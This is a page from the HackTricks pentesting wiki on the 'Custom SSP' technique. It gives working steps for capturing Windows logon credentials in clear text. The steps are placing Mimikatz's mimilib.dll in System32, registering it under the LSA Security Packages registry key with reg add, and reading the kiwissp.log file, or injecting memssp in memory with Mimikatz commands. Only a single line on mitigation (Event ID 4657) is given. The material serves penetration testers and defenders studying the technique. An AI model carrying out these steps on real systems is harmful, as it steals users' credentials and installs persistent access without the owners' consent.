HackTricks
Search…
🤩
Generic Methodologies & Resources
🐧
Linux Hardening
🍏
MacOS Hardening
🪟
Windows Hardening
📱
Mobile Pentesting
👽
Network Services Pentesting
🕸
Pentesting Web
⛈
Cloud Security
😎
Hardware/Physical Access
🦅
Reversing & Exploiting
🔮
Crypto & Stego
🧐
External Platforms Reviews/Writeups
✍
TODO
Custom SSP
Support HackTricks and get benefits!
Custom SSP
Learn what is a SSP (Security Support Provider) here.
You can create you own SSP to capture in clear text the credentials used to access the machine.
Mimilib
You can use the
mimilib.dll binary provided by Mimikatz. This will log inside a file all the credentials in clear text.
Drop the dll in C:\Windows\System32\
Get a list existing LSA Security Packages:1
PS C:\> reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
2
3
HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa
4
Security Packages REG_MULTI_SZ kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u
Copied!
Add
mimilib.dll to the Security Support Provider list (Security Packages):1
PS C:\> reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages"
Copied!
And after a reboot all credentials can be found in clear text in
C:\Windows\System32\kiwissp.logIn memory
You can also inject this in memory directly using Mimikatz (notice that it could be a little bit unstable/not working):
1
privilege::debug
2
misc::memssp
Copied!
This won't survive reboots.
Mitigation
Event ID 4657 - Audit creation/change of
HKLM:\System\CurrentControlSet\Control\Lsa\SecurityPackagesSupport HackTricks and get benefits!
Last modified 19d ago
Copy link